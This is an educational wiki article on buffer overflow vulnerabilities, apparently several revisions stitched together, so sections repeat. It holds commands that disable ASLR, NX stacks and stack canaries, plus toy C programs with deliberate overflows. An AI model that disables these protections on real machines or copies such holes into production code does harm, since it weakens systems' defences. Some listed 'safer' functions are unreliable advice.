To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T16:48:52Z

AKofranek: /* IoT/Embedded Devices */

[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle <ref name="BOB">What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024</ref>]]

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a '''function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| scanf() || sscanf()
|-
| memset() || -
|}

=== IoT/Embedded Devices ===
"The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks." <ref name=””> G. Mullen and L. Meany, "Assessment of Buffer Overflow Based Attacks On an IoT Operating System," 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.
</ref>

== Dangers ==

Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.

Summed up these four are the main dangers:

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===
In this section, a simple Out-of-bounds Write vulnerability will be examined. The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. <ref name=”AR1”>Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022</ref>

=== Stack-based Buffer Overflow ===

If more data is written to a buffer than the size assigned to it, there is a chance it could overwrite the adjacent memory. This is called a stack overflow. Since the memory overwritten contains valuable information like the return address, this exploitation is a prime target. As an example, consider an input string that gets copied to the stack from a vulnerable function, that does not validate the size. Whatever was written to this string, as long as it is longer than the size of the buffer, will overwrite memory next to the it. If an attacker creates a string that reaches the return address with a new address on purpose, the program will jump to this exact location after its execution. This type of attack is called "stack smashing". It is frequently used and is well-known in the context of buffer overflows. A common problem of stack smashing is how to guess the starting address of the own shellcode. Just by guessing or brute-forcing the exact return value, it would take the attacker a long time and an enormous number of attempts. This can be minimized by inserting a series of NOP instructions in front of the shellcode. A NOP instruction is a special operation which will push the execution one by one until it hits the malicious code. Adding as many NOP instructions as possible increases the chances of reaching the desired code. This means that as long as the return address points to any NOP instruction, the application will execute the shellcode and we do not have to directly hit address where the code starts.

Stack overflows which alter return addresses, are one of the most dangerous methods of gaining unauthorized access to a system. They allow an attacker to circumvent standard program execution and potentially gain complete control. <ref name="One1996"/>

=== Heap-based Buffer Overflow ===

=== Use-After-Free Vulnerability ===
Use-after-free (UAF) vulnerabilities are a specialized form of a memory management bug occurring when a program tries to use a memory object even though it is already deallocated. This vulnerability can happen, because the pointer to the corresponding memory location may remain accessible, despite the memory itself being marked as accessible for other allocations. If a program tries to access this now-freed memory, it could cause some unexpected behavior or even a security breach. Since an attacker could exploit this "dangling pointer" to gain unauthorized access to the system or leak information meant to be kept confidential. <ref name="UAF">Byoungyoung Lee, Chengyu Song, Yeongjin Jang, Tielei Wang, Taesoo Kim, Long Lu, and Wenke Lee. Preventing use-after-free with dangling pointers nullification. In Network and Distributed System Security Symposium, 2015</ref>

== Mitigation Techniques and How to Disable Them ==
This section will briefly introduce some mitigation techniques that can potentially prevent buffer overflow attacks. First, it will explain the basic concepts in a simple way, and second, it will provide brief guides on how to disable certain mitigation techniques for research purposes.

=== Adress Space Layout Randomisation (ASLR) ===
ASLR randomizes the memory address space layout of processes, making it harder to predict the location of specific functions or buffers. <ref name=”RE1”/> Since code reuse attacks (e.g., ROP attacks) require the memory addresses of gadgets to be known to an attacker, techniques to randomize their entry points have become increasingly popular.

'''ASLR can be temporarily disabled''' at the system level (Linux):
<pre>
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>
Re-enable after testing:
<pre>
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
</pre>

=== Non-executable Stack (nx-stack) ===
A non-executable stack, or nx-stack, prevents execution of code in the stack, when designated as non-executable, mitigating buffer overflow attacks that inject shellcode into that region. <ref name=”RE1”/>

To '''disable nx-stack''' on a program, use the -z execstack option during compilation. This allows execution of code in the stack memory:
<pre>
gcc -z execstack -o vulnerable_program source.c
</pre>

=== Data Execution Prevention (DEP) ===

Data Execution Prevention (DEP) is a security feature originally developed by MicrosoftR© for Windows XP SP2. There are two basic variants: hardware-based DEP and software-based DEP. If supported by the CPU as well as the process, hardware DEP will be employed; otherwise, DEP has to be carried out in software, which is part of the Windows operating system. The basic functionality of DEP is to prevent applications from executing code in a non-executable area of memory.

=== Stack Canaries ===

Stack canaries are small random values placed on the stack to detect and prevent buffer overflow attacks. If an overflow occurs and modifies the stack, the canary value will change, triggering a security alert or crash. <ref name=”RE1”/>
Typical types of canaries, which are supported by security hardening technologies like ProPolice or Stackguard (GCC), are terminator canaries, random canaries, and random XOR canaries.

To '''disable stack canaries''' when compiling a program, use the -fno-stack-protector option with gcc:
<pre>
gcc -fno-stack-protector -o vulnerable_program source.c
</pre>

== Conclusion ==
Since the rise of C in the early 1970s, buffer overflows have become a serious security vulnerability. Even though high-level programming languages are typically not affected, the number of vulnerable systems is actually rising. At the same time, a wide array of countermeasures are also increasingly adopted and applied. Features like executable space protection (e.g., data execution prevention under Windows) have already been deployed since the mid-2000s, and on the compiler side, technologies like Stackguard support several detection and prevention mechanisms (e.g., different types of canaries). Furthermore, almost every widely used operation system supports Address Space Layout Randomization in order to minimize the attack surface for buffer overflow attacks. For example, at the beginning of 2020, most of the bigger operating systems (Linux, Windows, macOS, iOS, Android, Solaris, OpenBSD, etc.) will offer support for ASLR.

Another key point is the expansion of the Internet of Things (IoT). These widely distributed networks of hardware endpoints have deemed themselves the perfect target for buffer overflow attacks. This stems from the fact that IoT applications mostly utilize low-level, closely hardware-related languages such as C and C++, both of which are almost exclusively for buffer overflows.

== References ==

<references />

* [http://phrack.org/issues/49/14.html Smashing the stack for fun and profit (1996, Aleph One)]
* [http://phrack.org/issues/60/10.html#article Basic Integer Overflows (2002, Blexim)]
* [https://doi.org/10.1109/SP.2013.45 Just-In-Time Code Reuse: On the Effectiveness of Fine-Grained Address Space Layout Randomization (2013, Snow et al.)]
* [http://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf Buffer Overflow for Dummies (2002, Josef Nelißen)]
* [https://www.hackingarticles.in/a-beginners-guide-to-buffer-overflow/ A Beginner’s Guide to Buffer Overflow (2021, Raj Chandel)]
* [https://repository.unikom.ac.id/56387/1/24_Deadly_Sin.pdf 24 Deadly Sins of Software Security (2009, Michael Howard, David LeBlanc, and John Viega)]
* [https://scholar.google.com/scholar_case?case=551386241451639668 United States v. Morris (1991, U.S. Dept. of Justice)]
* [https://cwe.mitre.org/top25/archive/2023/2023_top25_list.html 2023 CWE Top 25 Most Dangerous Software Weaknesses (2023, CWE)]
* [https://computersciencewiki.org/index.php?title=Stack_memory Stack memory (2023, Bill MacKenty)]
* [https://computersciencewiki.org/index.php?title=Heap_memory Heap memory (2023, Bill MacKenty)]
* [https://dhanvina.medium.com/ariane-5-disaster-integer-overflow-space-requirements-b96f4dda8bdb Ariane 5 (2022, Innovative Bytes)]
* [https://www.researchgate.net/publication/281784645_Preventing_Use-after-free_with_Dangling_Pointers_Nullification Use-after-free bug (2015, Lee et al.)]

[[Category:Basic]]

Buffer Overflows

2024-12-11T16:47:18Z

AKofranek: /* IoT: Constrained Devices (TODO) */

[[File:Buffer-overflow.png|500px|thumb|right|Buffer Overflow examle <ref name="BOB">What is a Buffer Overflow Attack, [Online]. Available: https://www.wallarm.com/what/buffer-overflow-attack-definition-types-use-by-hackers-part-1. Accessed: Dec. 11, 2024</ref>]]

== Introduction ==
Buffer overflow is a security vulnerability that should not be underestimated, as it has been the most common type of vulnerability in the last decade. This type of attack is an essential part of all security attacks, as buffer overflow vulnerabilities are widespread and easy to exploit. Especially in the field of cyber attacks, they are exploited by users to gain access to vulnerable servers and control them.

== Definitions ==

=== Buffer ===

A buffer is defined as a '''limited''', contiguously allocated set of memory. The most common buffer in C is an array. <ref name=”RE1”>C. Anley, The Shellcoder’s Handbook: Discovering and Exploiting Security Holes, 2nd ed., Indianapolis: Wiley, 2007</ref>

=== Buffer Overflow ===

Buffer Overflows are possible because in the C and C++ languages there exists no inherent bounds-checking to ensure that data being copied into a buffer will not be larger than what the buffer was initialized to hold. Consequently, if the person writing the program has not explicitly coded the program to check for oversize input, it is possible for data to fill a buffer, and if that data is large enough, to continue to write past the end of the buffer. <ref name=”RE1”/>

== Common Weakness Enumeration (CWE) ==

The importance of addressing buffer overflow vulnerabilities can be seen by examining Mitre’s respective parent category: <ref name=”MIT23a”> MITRE, "CVE Search Results for 'buffer overflow'," [Online]. Available: https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=buffer+overflow. Accessed: Oct. 16, 2024. </ref>

* CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer

There is a large variety of direct and indirect child categories that further help create a taxonomy of the issues at hand. Some of those are listed here:
<ref name="MIT23b">MITRE, "CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/119.html. Accessed: Oct. 16, 2024.</ref>
<ref name="MIT23c">MITRE, "CWE-788: Access of Memory Location After End of Buffer," [Online]. Available: https://cwe.mitre.org/data/definitions/788.html. Accessed: Oct. 16, 2024.</ref>

* CWE-788: Access of Memory Location After End of Buffer
* CWE-787: Out-of-bounds Write
* CWE-786: Access of Memory Location Before Start of Buffer
* CWE-125: Out-of-bounds Read
* CWE-120: Buffer Copy Without Checking Size of Input (’Classic Buffer Over- flow’)
* CWE-121: Stack-based Buffer Overflow
* CWE-122: Heap-based Buffer Overflow
* CWE-126: Buffer Over-read

== History ==
In the past, there were often a series of events executed with the help of buffer overflows. In 1980, the term Internet worm was a very well-known and sensitive topic because a worm was malicious software that reproduced itself and spread through network connections. It was called a Morris worm because on November 2, 1988, an event occurred that changed the way people thought about networks and about the Internet. On that day, tens of thousands of computers quickly and simultaneously became infected with a self-replicating computer program. Back then, computer science student Robert T. Morris created a computer worm that exploited an unsafe function, which at the time was very commonly used and distributed. Through the practical application of a buffer overflow, the computer worm spread itself around at an alarming rate and, going back, nearly shut down the entire internet. This situation resulted in Morris being the first person convicted under the Computer Fraud and Abuse Act, demonstrating further how dangerous buffer overflows can be. To this day, this attack is perhaps one of the most significant events in the history of computing. With buffer overflows, it was also possible to bypass various security measures. For example, buffer overflows could be used to remove software restrictions from firmware or to bypass copy protection. This was the case with the Android and iOS operating systems, where it was possible to remove various locks and modify the smartphone according to one's own wishes. For example, it was possible to install apps that were not available in the store elsewhere, change the boot animation, access hidden system files, remove manufacturer-specific apps, remove network locks, and much more. One keyword is "jailbreaking" for Apple devices and "rooting" for Android devices. On Nintendo's game console, a game called Pokemon Yellow could be changed from the inside by manipulating the program using shellcode.

While many of these events already reside in the past, buffer overflows do not. The exploit reoccurs frequently, so much so that in 2023 they still secured themselves a spot on the Common Weakness Enumeration/SANS list of the Top 25 Most Dangerous Software Errors. Whether through the adaptation of the exploit's mechanism or simply by focusing on a new set of targets, buffer overflows stay relevant. That's why, when dealing with cybersecurity of any sort, there is no way past them.

== Technical Background and Context ==

=== Memory Layout of a Process ===

Informally, a process is a '''program in execution'''. The status of the current activity of a process is represented by the value of the '''program counter/instruction pointer''' and the content of the processor’s '''registers'''. Different parts of the program are stored in different memory segments, as shown in the figure below.

[[File:Memory structure.png|center]][https://www.cs.ucf.edu/~czou/CDA6938-06/Buffer%20Overflows.pdf#page=8]

* Stack section: temporary data storage when invoking functions (such as function parameters, return addresses, and local variables)
* Heap section: memory that is dynamically allocated during program run time
* Data section: global variables (initialized and uninitialized)
* Code/Text section: the executable, machine-readable bytecode

=== Readable, Writeable, Executable Memory ===

Memory regions have different rights with respect to the process they belong to. For instance, the text section will usually be marked read only and any attempt to write to it will result in a '''Segmentation Fault'''.
<ref name="One1996">A. One, "Smashing the Stack for Fun and Profit," Phrack, vol. 7, no. 49, Nov. 1996.</ref>
All other sections have to be writeable in order for the process to work properly. <ref name=”RE1”/> Whether a section is '''executable''', will largely depend on the applied settings during compilation of the program and the platform on which it is executed.

=== The Stack and Important Control Structures ===

The stack’s primary purpose is to implement and help with the use of functions. A function call alters the flow of execution through a program. However, when its task is completed, a '''function returns control''' to the statement or instruction following the function call. Furthermore, the stack is used to allocate memory for the local variables used in the functions and to return values from the function. <ref name="One1996"/>

During a function call, arguments are pushed onto the stack in reverse order, and the '''return address''' (the instruction pointer EIP) is saved to enable returning to the caller after function execution. Key stack-related registers are:

* EIP (Instruction Pointer): Stores the next instruction's address.
* ESP (Stack Pointer): Points to the top of the stack.
* EBP (Base Pointer): Marks the base of the stack frame for the current function.

When a function is called, the stack is manipulated using '''PUSH''' and '''POP''' instructions. A '''return address''' is pushed onto the stack, allowing the program to return to the calling function. Buffer overflows can occur if a function does not properly limit the size of data written to buffers, potentially '''overwriting the return address'''. An attacker may '''overwrite the return pointer to redirect the flow of execution'''.

== Causes ==

=== C/C++: Vulnerable Functions ===
C is the programming language most affected when it comes to creating buffer overflows, closely followed by C++.
<ref name="Howard2009">M. Howard, D. LeBlanc, and J. Viega, *24 Deadly Sins of Software Security: Programming Flaws and How to Fix Them*, 1st ed. USA: McGraw-Hill, Inc., 2009.</ref>
When writing C code the programmer is responsible for '''data integrity'''. If this responsibility were shifted over to the compiler, the resulting binaries would be significantly slower and less efficient. Furthermore, C’s simplicity increases the programmer’s control. However, this can result in programs that are vulnerable to buffer overflows and memory leaks if the programmer isn’t careful.
<ref name="Erickson2008">J. Erickson, *Hacking: The Art of Exploitation*, 2nd ed. San Francisco: No Starch Press, 2008.</ref>

Some '''vulnerable functions''' from the C/C++ standard are listed here, each with their respective, saver counterpart:
{|class="wikitable"
! Vulnerable || Safer
|-
| strcpy() || strncpy()
|-
| gets() || fgets()
|-
| strcat() || strncat()
|-
| memcpy() || memmove()
|-
| scanf() || sscanf()
|-
| memset() || -
|}

=== IoT/Embedded Devices ===
"The constrained resources of embedded systems leads to the predominant use of the C language. This, along with the tight processing requirements, leave associated devices open to BOF based attacks."

G. Mullen and L. Meany, "Assessment of Buffer Overflow Based Attacks On an IoT Operating System," 2019 Global IoT Summit (GIoTS), Aarhus, Denmark, 2019, pp. 1-6, doi: 10.1109/GIOTS.2019.8766434.
keywords: {Registers;Buffer overflows;Embedded systems;Internet of Things;Thumb;Instruction sets;Internet of Things;Operating Systems;Embedded systems;Security;Buffer Overflows;FreeRTOS;ARM},

== Dangers ==

Arguably, the most significant consequence of a buffer overflow is when the attacker is able to execute their own malicious shellcode. Which is also referred to as arbitrary code execution. This way it is completely up to the attacker itself what they will do with the same privileges as the program on the level of the current user. Create a reverse shell to execute remote code, stealing data or even manipulate all settings of the system. By getting elevated privileges, the attacker would also be able to run code as an administrator or root. Another potential consequence is a Denial of Service (DoS) attack. Instead of executing code, the goal is to cause unpredictable behavior or crash the system by overwriting as much data as possible until the program is unable to handle it. The downtime of a program can be costly for large organizations. Data corruption, system instability, and information disclosure, are all potential consequences that can be caused by a buffer overflow. Consequently, it is up to the creativity of the attacker once a vulnerable code is identified.

Summed up these four are the main dangers:

* Data Corruption
* Program Crashes
* Exploitation: Control Flow Alteration
* Exploitation (via Shellcode Injection): Arbitrary Code Execution

== Types of Buffer Overflow Vulnerabilities ==

The following section will introduce descriptions and simple examples related to the most relevant categories of buffer overflow vulnerabilities. The distinction between Buffer Over-Read and Buffer Over-Write provides a basic categorization of the issues at hand. The respective sections will include simple, illustrative examples. The sections on Stack Buffer Overflow and Heap Buffer Overflow will present more complex examples, where the mechanics and control structures of each memory region are exploited. Note that Over-Read and Over-Write vulnerabilities can occur in both sections of process memory.

=== Buffer Over-Read ===

The following is a simple example of a Out-of-bounds read operation, that can be performed by a C program:

<pre>

#include <stdio.h>
#include <string.h>

int main(){

int array[5] = {1 ,2 ,3 ,4 ,5};
printf("%d\n", array[5]);

}
</pre>

This program illustrates a common error that new programmers might run into when learning about arrays: Referencing array[5] will eventually attempt to access its sixth element, although the array was only initialized to hold five elements. When this program is run, it will read beyond the bounds of the array and might produce unexpected results.

=== Buffer Over-Write ===
In this section, a simple Out-of-bounds Write vulnerability will be examined. The following program deliberately uses the insecure strcpy()-function to copy a large string into a buffer, which is actually too small for the string. The following listing displays the complete source code.

<pre>
#include <stdio.h>
#include <string.h>

int main() {

char B[3] = "03"; // gets higher address on stack
char A[8] = "0000000"; // gets lower address on stack

printf("Before overflow: A = %s, B = %s\n", A, B);

strcpy(A, "excessive"); // dangerous
printf("After overflow: A = %s, B = %s\n", A, B);

return 0;
}
</pre>

=== Integer Overflow ===
Integer overflows occur when an arithmetic operation attempts to generate a value that lies outside a range that can be represented with a specified number of bits. The most common result of an overflow is that the least significant representable bits of the result are stored. An overflow condition can lead to results that are equivalent to unintended behavior. In particular, if the possibility is not expected, an overflow can affect the reliability and safety of a program. A code example is shown below.

unsigned char a = 255;
unsigned char b = 2;
unsigned char Result = a + b;

The data type unsigned char is used, which comprises 8 bits, and the value range is from 0 to 255. For the variable "a," the value 255 is assigned, and for the variable "b," the value 2 is assigned. If an arithmetic operation is performed, we would get a result that requires more bits than are present to represent. The corresponding dual calculation is shown below.

11111111 (a)
+ 00000010 (b)
----------
100000001 (Result)

The front one, the ninth bit, is no longer contained in the 8 bits of the data type ''unsigned char''. If only the last 8 bits were considered, the result would be 1 and not 257.

The Ariane 5 disaster of 1996 illustrates what can happen when integer overflows are not handled properly in the real world. The rocket was destroyed 37 seconds after launch because of a severe software error, which was caused by an integer overflow. This shows how unresolved integer overflows can have disastrous consequences, particularly in safety-critical systems like aerospace control software. The incident could have been prevented if there had been more robust input validation and error handling procedures, particularly during the conversion process from floating-point to integer data types. <ref name=”AR1”>Innovative Bytes, Ariane-5 disaster - (integer overflow - space requirements), Medium, October 2022</ref>

=== Stack-based Buffer Overflow ===

